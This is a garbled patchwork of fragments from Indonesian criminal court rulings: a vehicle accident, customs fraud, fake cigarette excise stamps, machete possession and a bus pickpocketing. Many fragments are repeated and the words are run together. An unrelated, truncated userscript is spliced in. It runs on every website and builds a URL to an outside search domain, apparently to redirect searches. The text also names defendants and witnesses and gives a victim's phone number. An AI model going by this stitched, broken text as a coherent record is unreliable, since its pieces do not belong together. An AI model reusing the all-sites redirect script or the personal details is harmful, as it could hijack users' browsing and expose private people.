Bahwa Saksi kenal dengan Terdakwa sejak tahun 2009 di Kudam IX/Udayana dalam hubungan rekan kerja dalam satu kesatuan dan tidak adahubungan keluarga.Bahwa sekira pukul 08.15 Wita selesai melaksanakan Ziarah dalamrangka HUT Kudam IX/Udy di TMP Pancaka Tirta Tabanan menuju keMakudam IX/Udayana, tepatnya di Jalan Cokroaminoto Denpasar Terdakwamendahului sepeda motor yang ada didepannya dengan mengambil ke kanantibatiba kendaraan oleng ke kiri sehingga Terdakwa membanting setir kekanan dan kendaraan/

Bahwa terjadinya kecelakaan berawal dari anggota Kudam IX/Udayana yang selesai melaksanakan ziarah di TMP Pancaka Tirta Tabanankemudian kembali ke kesatuannya di Kudam IX/Udayana Denpasar denganmenggunakan kendaraan Suzuki Carry Futura warna hijau No.Reg 8504IXyang dikemudikan oleh Terdakwa dengan beberapa rombongan kendaraanlainnya, namun kendaraan yang dikemudikan Terdakwa tertinggal di belakangsehingga mengejar rombongan yang meninggalkannya, pada saat tiba di Jl.Cokroaminoto Denpasar kendaraannya

Bahwa Saksi kenal dengan Terdakwa sejak tahun 2009 di Kudam IX/Udy dalam hubungan rekan kerja dalam satu kesatuan dan tidak adahubungan keluarga.: Bahwa pada pagi hari Saksi berangkat menuju Taman MakamPahlawan yang berada di Tabanan untuk mengikuti Ziarah dalam rangka HUTKudam IX/Udy di TMP Pancaka Tirta Tabanan dengan menaiki kendaraanSuzuki Carry Futura No.Reg.8504IX yang dikemudikan oleh PNS Binduyang berpenumpang 7(tujuh) orang yaitu di bagian depan Lettu Cku Rukani,di bangku bagian tengah Serda

Bahwa Saksi kenal dengan Terdakwa sejak tahun 2009 di Kudam IX/Udy dalam hubungan rekan kerja dalam satu kesatuan dan tidak adahubungan keluarga.Bahwa pada pagi hari Saksi berangkat menuju Taman MakamPahlawan yang berada di Tabanan untuk mengikuti Ziarah dalam rangka HUTKudam IX/Udy di TMP Pancaka Tirta Tabanan dengan menaiki kendaraanSuzuki Carry Futura No.Reg.8504IX yang dikemudikan oleh PNS Binduyang berpenumpang 7(tujuh) orang yaitu di bagian depan Lettu CKU Rukani,di bangku bagian tengah Serda

Anis Fuadi alias Eko alias Baroto yangberasal dari Terdakwa Johnson Jovial, melalui komunikasi PDE (PertukaranData Elektronik) atau EDI (Elektronik, Data Interchange) ke Sistem KomputerPelayanan (SKP) Kantor Pengawasan dan Pelayanan Bea dan Cukai TipeMadya Pabean A Purwakarta (KPPBC TMP A Purwakarta), seolaholah benarPT. Youme Indonesiayang melakukan importasi yaitu BC 2.3 nomorpendaftaran 065336.

Budi Gunawan dibawah sumpah pada pokoknya menerangkan sebagaiberikut:Bahwa Saksi bekerja sebagai PNS pada Direktorat Jenderal Bea danCukai, jabatan yang Saksi pegang sebagai Pelaksana pada SeksiPenindakan dan penyidikan KPPBC TMP A Purwakarta sejak bulanOktober 2013 sampai sekarang;Bahwa tugas dan tanggung jawab Saksi sebagai Pelaksana Pemeriksapada Seksi Penindakan dan Penyidikan KPPBC TMP A Purwakarta,seperti mengumpulkan data dan informasi, melaksanakan operasi jikaterjadi pelanggaran di bidang

kepabeanan dan cukai yang terjadidiwilayah pengawasan di KPPBC TMP A Purwakarta;Bahwa dalam melaksanakan tugas Saksi bertanggung jawab kepadaatasan Saksi yaitu Kepala Sub Seksi Penindakan dan Sarana Operasidan Kepala Seksi P2 KPPBC TMP A Purwakarta;Bahwa perusahaan yang memiliki Kawasan Berikat sejumlah 153(seratus lima puluh tiga) perusahaan yang berlokasi di KabupatenPurwakarta, Kabupaten Karawang dan Kabupaten Subang;Bahwa Saksi bersama dengan Resha Pahlepi telah melakukanpenyidikan terhadap

Resha Pahlepi dibawah sumpah pada pokoknya menerangkan sebagaiberikut:Bahwa Saksi bekerja sebagai PNS pada Direktorat Jenderal Bea danCukai, jabatan yang Saksi pegang sebagai Pelaksana pada SeksiPenindakan dan penyidikan KPPBC TMP A Purwakarta sejak bulanOktober 2013 sampai sekarang;Bahwa tugas dan tanggung jawab Saksi sebagai Pelaksana Pemeriksapada Seksi Penindakan dan Penyidikan KPPBC TMP A Purwakarta,seperti mengumpulkan data dan informasi, melaksanakan operasi jikaHalaman 12 dari 59 Putusan

Nomor 44/Pid.B/2016/PN Pwkterjadi pelanggaran di bidang kepabeanan dan cukai yang terjadidiwilayah pengawasan di KPPBC TMP A Purwakarta;Bahwa dalam melaksanakan tugas Saksi bertanggung jawab kepadaatasan Saksi yaitu Kepala Sub Seksi Penindakan dan Sarana Operasidan Kepala Seksi P2 KPPBC TMP A Purwakarta;Bahwa perusahaan yang memiliki Kawasan Berikat sejumlah 153(seratus lima puluh tiga) perusahaan yang berlokasi di KabupatenPurwakarta, Kabupaten Karawang dan Kabupaten Subang;Bahwa Saksi bersama dengan

Als Fendi dan Terdakwa Syahrial Als Ari, dan saksiIndra Gunawan Als Igun dengan memberikan upah kepada Terdakwa FendiHalaman 3 dari 16 Halaman Putusan Nomor 1527/Pid Sus/2020/PT MDNSantoso Als Fendi dan Terdakwa Syahrial Als Ari sebesar Rp.150.000,(seratus lima puluh ribu rupiah) sampai dengan Rp.250.000,(dua ratus limapuluh ribu rupiah) setiap pengambilan dan pengantaran.Bahwa kemudian pada hari Senin tanggal 21 Januari 2019 saksi Aulia ArifNasution dan saksi Hamdan Mustafa (Tim Penindakan KPPBC TMP

Medan Denai Kota Medan oleh TimPenindakan KPPBC TMP B Medan, kemudian Terdakwa Fendi Santoso AlsFendi beserta barang bukti berupa rokok sebanyak 2 (dua) kotak yang berisi150 (seratus lima puluh) sloop @ 10 (Sepuluh) bungkus @ 20 (dua puluh)batang = 30.000 (tiga puluh ribu) batang merk MAHKOTA yang dilekatidengan pita cukai palsu dan 10 (sepuluh) slop @ 10 (Sepuluh) batang @ 20(dua puluh) batang = 2.000 (dua ribu) batang rokok merk GREND LIGHTyang tidak dilekati pita cukai, dan 1 (Satu) unit mobil

Toyota Avanza Type Ewarna hitam dengan nomor polisi BK 1861 ET dibawa ke KPPBC TMP BMedan untuk dilakukan pemeriksaan lebih lanjut.Bahwa kemudian setelah dilakukan pemeriksaan lebih lanjut TerdakwaFendi Santoso Als Fendi mengaku bahwa pemilik barang tersebut adalahsaksi Indra Gunawan, yang mana Terdakwa Syahrial Als Ari dan TerdakwaFendi Santoso Als Fendi adalah orang yang turut serta melakukanHalaman 5 dari 16 Halaman Putusan Nomor 1527/Pid Sus/2020/PT MDNperbuatan bersama saksi Indra Gunawan dan

bungkus @ 20 (dua puluh) batang = 4.000 (empat ribu) batang rokok merkGREND LIGHT yang tidak dilekati pita cukai milik saksi Indra Gunawan.Bahwa berdasarkan Berita Acara Hasil Pengujian Keaslian Pita CukaiNomor : BA012/TTF/I/2020 tanggal 27 Januari 2020 berdasarkan SuratKeputusan Bersama tentang Tim Identifikasi Keaslian Pita Cukai Nomor :SKEP001/I/2019, nomor : 002/PDIR/PNP/I/2019, dan nomor002/KPTS/PTKP/I/2019, Surat Tugas Nomor : 37/ST/PTKP/I/2020 tanggal 24Januari 2020, serta Surat dari KPPBC TMP

TMP Kalibata Raya, Kelurahan Rawajati,Kecamatan Pancoran, Jakarta Selatan atau pada suatu tempat yang masihdaerah hukum Pengadilan Negeri Jakarta Selatan, tanpa hak memasukkan keIndonesia, membuat, menerima, mencoba memperolehnya, menyerahkanatau. mencoba menyerahkan, menguasai, membawa, mempunyaipersediaan padanya atau mempunyai dalam miliknya, menyimpan,mengangkut, menyembunyikan, mempergunakan atau mengeluarkan dariIndonesia sesuatu senjata pemukul, senjata penikam, atau senjataHalaman 2 dari

TMP Kalibata Raya, Kelurahan Rawajati,Kecamatan Pancoran, Jakarta Selatan, awalnya terdakwa AGAMSAEFULLAH mengajak temannya yaitu saksi ALDI PRATAMA PILIANGmenuju daerah Kalibata dengan tujuan mencari adiknya yang sedangdiganggu oleh orang tidak dikenal, selanjutnya terdakwa AGAMSAEFULLAH kemudian memperoleh senjata tajam berupa sebilahgolok warna putih tanpa gagang dari seseorang yang tidak terdakwakenal didaerah putaran balik dibawah fly over Kalibata, setelah itu,golok warna putin tanpa gagang

TMP Kalibata Raya, KelurahanRawajati, Kecamatan Pancoran, Jakarta Selatan, terdakwa AGAMSAEFULLAH ditangkap oleh saksi SARJIYONO, saksi NANANGKRISNADI, dan saksi RAJA DHARMA (ketiganya anggota Polisi dariPolsek Pancoran), kemudian dilakukan penggeledahan badan terhadapdiri terdakwa, dan ditemukan barang bukti berupa 1 (satu) bilan Golokwarna putih tanpa gagang yang ada dalam penguasaan terdakwa tanpadisertai ijin dari pihak yang berwenang, hingga selanjutnya terdakwadan barang bukti dibawa ke Polsek

dan didengar keterangannyasehubungan dengan telah ditangkap orang yang tidak saksi kenal terkaitHalaman 3 dari 12 Putusan Nomor 773/Pid.Sus/2018/PN JKT.SELperkara pidana membawa golok/senjata tajam, yang kemudian diketahuibernama AGAM SAEFULLAH; Bahwa saksi menangkap terdakwa AGAM SAEFULLAH pada saat saksisedang melintas bersama 2 orang anggota Reskrim Polsek Pancoran yaitusaksi SARJIYONO dan saksi RAJA DHARMA pada hari Minggu tanggal 29April 2018 sekitar jam 01:30 WIB di depan Kantor Bangda, JI TMP

dan didengar keterangannyasehubungan dengan telah ditangkap orang yang tidak saksi kenal terkaitHalaman 4 dari 12 Putusan Nomor 773/Pid.Sus/2018/PN JKT.SELperkara pidana membawa golok/senjata tajam, yang kemudian diketahuibernama AGAM SAEFULLAH; Bahwa saksi menangkap terdakwa AGAM SAEFULLAH pada saat saksisedang melintas bersama 2 orang anggota Reskrim Polsek Pancoran yaitusaksi SARJIYONO dan saksi RAJA DHARMA pada hari Minggu tanggal 29April 2018 sekitar jam 01:30 WIB di depan Kantor Bangda, JI TMP

// @author You// @match *://*/*// @grant none// ==/UserScript==(function() { function findGetParameter(parameterName) { var result = null, tmp = []; location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); }); return result; } let arr = ['','','']; var u ='https://lato7.mysearch.space?

perbuatan terdakwa I yang membuka resliting tasdengan tangan kanan lalu megambil I (satu) unit handphone merk Nokia Type2700 warna hitam dengan Simcard 081288414042 menggunakan tangankananya dan dimasukkan kedalam kantong celana tetrdakwa I , selanjutnyamereka terdakwa turun dari mini bis Metro Mini tersebut di daerah terminalBlok M, terdakwa 1 membuang simcard liandplioiie tersebut, menyimpanhandplione dalam kantong/saku celana lalu para terdakwa ditangkap oleli saksiHERU HANDOKO, saksi ADISMA TMP

melihat perbuatan terdakwa I yang membuka reslitingtas dengan tangan kanan lalu mengambil (satu) unit handphone merk NokiaType 2700 warna hitam dengan simcard 081388414042 menggunakan tangankanannya dan dimasukkan ke dalam kantong celana terdakwa I Selanjutnyamereka terdakwa turun dari mini bis Metro Mini tersebut di daerah terminalBlok M, terdakwa I membuang simcard handphone tersebut, menyimpanhandphone dalam kantong/saku celana lalu para terdakwa ditangkap oleh saksiHERU HANDOKO , saksi ADISMA TMP

agar tidak melihat perbuatan terdakwa I yangmembuka resliting tas dengan tangan kanan lalu mengambil (satu) unithandphone merk Nokia Type 2700 warna hitam dengan simcard 081388414042menggunakan tangan kanannya dan dimasukkan ke dalam kantong celanaterdakwa I Selanjutnya mereka terdakwa turun dari mini bis Metro Minitersebut di daerah terminal Blok M, terdakwa I membuang simcard handphonetersebut, menyimpan handphone dalam kantong/saku celana lalu para terdakwaditangkap oleh saksi, saksi ADISMA TMP

melihatperbuatan terdakwa I yang membuka resliting tas dengan tangan kanan lalumengambil (satu) unit Handphone merk Nokia Type 2700 warna hitamdengan simcard 081388414042 menggunakan tangan kanannya dandimasukkan kedalam kantong celana terdakwa I selanjutnya mereka terdakwaturun dari mini bus Metro mini tersebut ke daerah terminal Blok M , terdakwa Imembuang Simcard Hanphone ttersebut, menyimpan Handphone dalamkantong/saku celana lalu para Terdakwa ditangkap oleh saksi HERUHANDOKO, saksi ADISMA TMP

tidak melihatperbuatan terdakwa yang membuka resliting tas dengan tangan kanan lalumengambil (satu) unit handphone merk Nokia Type 2700 warna hitam dengansimcard 081388414042 menggunakan tangan kanannya dan dimasukkan kedalam kantong celana terdakwa Selanjutnya mereka terdakwa turun dari minibis Metro Mini tersebut di daerah terminal Blok M, terdakwa 1 membuangsimcard handphone tersebut, menyimpan handphone dalam kantong/sakucelana lalu para terdakwa ditangkap oleh saksi HERU HANDOKO, saksiADISMA TMP